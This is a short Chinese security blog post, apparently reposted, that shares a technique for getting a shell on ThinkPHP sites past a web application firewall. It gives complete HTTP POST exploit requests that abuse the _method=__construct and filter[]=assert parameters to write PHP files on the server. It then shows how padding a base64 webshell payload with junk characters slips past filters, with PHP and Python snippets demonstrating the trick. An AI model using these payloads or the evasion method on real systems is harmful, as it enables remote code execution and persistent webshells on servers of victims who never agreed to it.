ThinkPHP GetShell WAF绕过

admin 2024年11月18日23:17:41评论22 views字数 1185阅读3分57秒阅读模式

分享一个ThinkPHP GetShell时WAF绕过的小技巧

POC

以如下POC为例

POST /?s=captcha&test=-1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36Content-Type: application/x-www-form-urlencodeds=file_put_contents('system.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

可能绕过WAF的POC为

POST /?s=captcha&test=-1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36Content-Type: application/x-www-form-urlencodeds=file_put_contents('system.php','<?php file_put_contents("todoback.php",base64_decode("垃圾字符"));?>')&_method=__construct&method=POST&filter[]=assert

原理

ThinkPHP GetShell WAF绕过

官方文档中提到,使用base64_decode解码但不指定第二个参数$strict时,base64字符集以外的字符将被忽略,由此我们可以利用它来插入大量垃圾字符

实践

Ubuntu22.04 + 宝塔(Nginx1.24.0 + PHP5.6.40)

先测试合法base64字符,代码如下

<?php$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';echo base64_decode($str);?>

访问后,输出如下图

ThinkPHP GetShell WAF绕过

测试插入非法base64字符

<?php$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==***';echo base64_decode($str);?>

访问后,输出如下图

ThinkPHP GetShell WAF绕过

测试插入100万个非法base64字符,python脚本如下

with open("a.txt", "w") as fw:    for i in range(1000000):        fw.write("*")

代码如下

ThinkPHP GetShell WAF绕过

访问后,输出如下图

ThinkPHP GetShell WAF绕过

原文始发于微信公众号(卡卡罗特取西经):ThinkPHP GetShell WAF绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月18日23:17:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP GetShell WAF绕过https://cn-sec.com/archives/3408024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息